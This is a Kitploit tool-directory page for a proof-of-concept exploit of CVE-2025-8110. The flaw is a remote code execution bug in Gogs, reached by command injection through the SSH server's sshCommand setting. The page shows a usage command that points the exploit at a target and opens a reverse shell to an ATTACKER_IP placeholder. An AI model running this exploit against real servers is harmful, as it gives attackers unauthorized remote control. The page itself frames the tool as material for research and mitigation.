Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
gogs-CVE-2025-8110 — CVE-2025-8110 PoC | Kitploit
Tools/GitHubGitHub/zabuqasem/gogs-cve-2025-8110
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access ToolPayload Development
GitHubzabuqasem/gogs-cve-2025-8110

gogs-CVE-2025-8110

CVE-2025-8110 PoC

View Repository
297 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Gogs CVE-2025-8110 PoC

This repository contains a Proof of Concept (PoC) for CVE-2025-8110, a Remote Code Execution (RCE) vulnerability in Gogs. The exploit targets the internal SSH server implementation, allowing attackers to inject malicious commands via the sshCommand configuration.

Usage

To run the exploit, use the CVE-2025-8110.py script with the target Gogs URL and your listening host/port for the reverse shell.

root@kitploit:~
python3 CVE-2025-8110.py -u <TARGET_URL> -lh <ATTACKER_IP> -lp <ATTACKER_PORT>

Arguments

  • -u, --url: Base URL of the target Gogs instance (e.g., http://localhost:3000).
  • -lh, --host: IP address where the reverse shell should connect back to.
  • -lp, --port: Port where the reverse shell should connect back to.
  • -x, --proxy: (Optional) Use a local proxy at http://localhost:8080 for debugging.

Legal Disclaimer

This Proof of Concept (PoC) is for educational and research purposes only. It is intended to help security researchers and administrators understand and mitigate the CVE-2025-8110 vulnerability.

The author takes no responsibility for any unauthorized or malicious use of this code. Use this tool only on systems you own or have explicit permission to test. By using this code, you agree to take full responsibility for your actions.

Download Tool